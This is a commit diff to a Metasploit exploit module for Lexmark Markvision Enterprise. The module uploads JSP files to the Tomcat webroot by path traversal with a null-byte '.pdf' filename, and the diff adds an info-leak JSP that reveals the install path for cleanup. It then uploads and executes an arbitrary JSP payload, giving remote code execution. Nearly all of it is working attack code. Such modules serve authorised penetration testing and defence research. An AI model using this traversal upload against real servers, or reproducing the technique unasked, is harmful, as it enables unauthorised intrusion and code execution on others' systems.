Skip to content

Commit 9f98fd4

Browse files
committed
Info leak webapp ROOT so we can cleanup
1 parent 5afd2d7 commit 9f98fd4

File tree

1 file changed

+49
-6
lines changed

1 file changed

+49
-6
lines changed

modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb

Lines changed: 49 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
class Metasploit3 < Msf::Exploit::Remote
99
Rank = ExcellentRanking
1010

11+
include Msf::Exploit::FileDropper
1112
include Msf::Exploit::Remote::HttpClient
1213

1314
def initialize(info = {})
@@ -44,7 +45,7 @@ def initialize(info = {})
4445
register_options(
4546
[
4647
Opt::RPORT(9788),
47-
OptString.new('TARGETURI', [true, 'Path to SonicWall GMS', '/'])
48+
OptString.new('TARGETURI', [true, 'ROOT path', '/'])
4849
], self.class)
4950
end
5051

@@ -68,21 +69,43 @@ def check
6869
end
6970

7071
def exploit
71-
jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
72-
jsp = payload.encoded
72+
jsp_leak = jsp_path
73+
jsp_name_leak = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
7374
# By default files uploaded to C:\Program Files\Lexmark\Markvision Enterprise\apps\library\gfd-scheduled
7475
# Default app folder on C:\Program Files\Lexmark\Markvision Enterprise\tomcat\webappps\ROOT
75-
traversal_attack = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_name}\x00.pdf"
76+
traversal_leak = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_name_leak}\x00.pdf"
77+
78+
print_status("#{peer} - Uploading info leak JSP #{jsp_name_leak}...")
79+
if upload_file(traversal_leak, jsp_leak)
80+
print_good("#{peer} - JSP successfully updated")
81+
else
82+
fail_with(Failure::Unknown, "#{peer} - JSP update failed")
83+
end
84+
85+
res = execute(jsp_name_leak)
86+
87+
if res && res.code == 200 && res.body.to_s !~ /null/ && res.body.to_s =~ /Path:(.*)/
88+
upload_path = $1
89+
print_good("#{peer} - Working directory found in #{upload_path}")
90+
register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_name_leak))
91+
else
92+
print_error("#{peer} - Couldn't retrieve the upload directory, manual cleanup will be required")
93+
end
94+
95+
jsp_payload_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
96+
jsp_payload = payload.encoded
97+
traversal_payload = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_payload_name}\x00.pdf"
7698

7799
print_status("#{peer} - Uploading JSP payload...")
78-
if upload_file(traversal_attack, jsp)
100+
if upload_file(traversal_payload, jsp_payload)
79101
print_good("#{peer} - JSP successfully updated")
102+
register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_payload_name))
80103
else
81104
fail_with(Failure::Unknown, "#{peer} - JSP update failed")
82105
end
83106

84107
print_status("#{peer} - Executing payload...")
85-
send_request_cgi({'uri' => normalize_uri(target_uri.path.to_s, jsp_name)}, 3)
108+
execute(jsp_payload_name, 3)
86109
end
87110

88111
def upload_file(filename, contents)
@@ -109,4 +132,24 @@ def upload_file(filename, contents)
109132
end
110133
end
111134

135+
def execute(jsp_name, time_out = 20)
136+
res = send_request_cgi({
137+
'uri' => normalize_uri(target_uri.path.to_s, jsp_name),
138+
'method' => 'GET'
139+
}, time_out)
140+
141+
res
142+
end
143+
144+
def jsp_path
145+
jsp =<<-EOS
146+
<%@ page language="Java" import="java.util.*"%>
147+
<%
148+
out.println("Path:" + System.getProperty("catalina.home"));
149+
%>
150+
EOS
151+
152+
jsp
153+
end
154+
112155
end

0 commit comments

Comments
 (0)